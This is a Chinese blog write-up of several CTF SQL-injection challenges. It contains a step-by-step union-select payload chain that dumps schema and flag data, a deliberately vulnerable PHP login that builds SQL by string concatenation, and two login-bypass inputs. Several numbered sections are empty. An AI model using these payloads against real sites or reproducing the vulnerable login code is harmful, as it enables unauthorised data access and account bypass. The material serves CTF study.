BCTF-sql_injection

汇总了一些SQL注入的知识点,有一些知识还是很具有实战经验的。

1.(基于GET型变量)

输入1的时候有一个正常的回显,当输入1'发生报错,查询不到信息,可以确定的是查询语句没有过滤单引号。大概推测后台sql语句为select xx from xx where id ='input_id' 总之id的位置应该是闭合了单引号。 

最终payload

id=1' order by 5 #
id=-1' union select 1,2,3,4#
id=-1' union select 1,database(),user(),version()#
id=-1' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
id=-1' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='fl4g')#
id=-1' union select 1,2,3,(select skctf_flag from fl4g)#

2.万能密码

给出了数据库源码

<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

对于这句话

$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"

我们相当于要构造一个select user from ctf where (user='xxx') and (pw='xxx') or 1=1 

因此要构造括号闭合的情况 即username=admin')# 利用#将后面pwd验证环节注释掉

 3.万能密码2

这是一个登陆框,由于没有防火墙(WAF)的限制,直接用bp筛选出过滤的字符。

经过测试过滤了select or union / | % 几乎能注入的语句都被过滤掉了。因此想绕过登陆只能使用弱类型密码。

弱类型密码:

mysql> select ''='';
+-------+
| ''='' |
+-------+
|     1 |
+-------+
mysql> select * from users where username=''='' and password = ''='';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | test1    | pass     |
|  2 | user2    | pass1    |
|  3 | test3    | pass1    |
+----+----------+----------+

这样构造的原理即利用=无法验证的原理,构造=等于=,额。。。这样说有点怪,实质上语句即变成了select * from xxx where username and password 。

无账号的情况下直接登陆进去了。

3.

4.

5.

6.

7.

猜你喜欢

转载自www.cnblogs.com/sylover/p/10743738.html